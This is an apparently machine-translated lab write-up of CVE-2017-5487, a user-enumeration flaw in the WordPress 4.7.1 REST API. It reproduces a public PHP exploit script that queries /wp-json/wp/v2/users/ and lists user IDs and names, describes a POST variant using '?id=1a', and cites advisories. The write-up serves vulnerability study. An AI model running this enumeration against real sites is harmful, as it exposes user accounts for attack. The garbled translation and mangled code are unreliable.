[cve-2017-5487] WordPress <=4.7.1 REST API Content Injection Vulnerability Analysis and replication

It's not a very new loophole, it's a record of your job assignment.

Vulnerability Impact:

unauthorized access to the user name, ID of the other user who posted the article

trigger premise:WordPress configuration Rest API

Impact Version:<= 4.7

0x01 Vulnerability Reappearance

Reproduce the Environment:

1) Apache2.4

2) PHP 7.0

3) wordPress 4.7.1 https://wordpress.org/wordpress-4.7.1.tar.gz) and install (click to download)

Confirm httpd-conf Allowover All

Exploit:

https://www.exploit-db.com/exploits/41497/ download Here, modify the arrows there.

#!usr/bin/php<?php#author:mateus a.k.a dctor#fb:fb.com/hatbashbr/#E-mail: [email protected] #Site: https:// mateuslino.tk header (' content-type:text/html; Charset=utf-8 '); $url = "http://localhost/wordpress-4.7.1/index.php" ;//$payload = "wp-json/wp/v2/users/"; $urli = file_get_contents ($url. $payload); $json = Json_decode ($urli, true); if ($ JSON) {echo "*-----------------------------*\n"; foreach ($json as $users) {echo "[*] ID:  |" $users [' id ']     . "| \ n "; echo" [*] Name: | ". $users [' name ']   ." | \ n "; echo" [*] User: | ". $users [' Slug ']   . "| \ n "; echo" \ n ";} echo "*-----------------------------*";} Else{echo "[*] No user";}? >

Vulnerability Recurrence:

http://127.0.0.1/wordpress-4.7.1/wp-json/wp/v2/users/

Get requests do nothing to avoid wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php 's logical judgment, return to Ture, The program continues executing the Query,rest API interface query and displays it in JSON format on the front end. To get some information about the user.

here, add a user as a case and execute exp again .

The following is the proof of the vulnerability, which returns the user ID, the published article message, and some other content.

Another way to use

according to RESR API documentation, modify his request method, following the use of post

In the operation of a route query,the $_get and $_post values first route the value generated by the regular expression. Input? id=1a ignores the restriction of the routing regular to pass in our custom nonexistent ID and returns REST_INVALID. The following is the same as the previous get to avoid judgment, execute the query. Here is the request for the Update_item method. We can see that the content with ID 1 is returned.

Ref

• http://blog.nsfocus.net/wordpress-user-enumeration-vulnerability-analysis/
• https://www.seebug.org/vuldb/ssvid-92732
• Https://www.exploit-db.com/exploits/41497/?rss
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487
• Https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60

[cve-2017-5487] WordPress <=4.7.1 REST API Content Injection Vulnerability Analysis and replication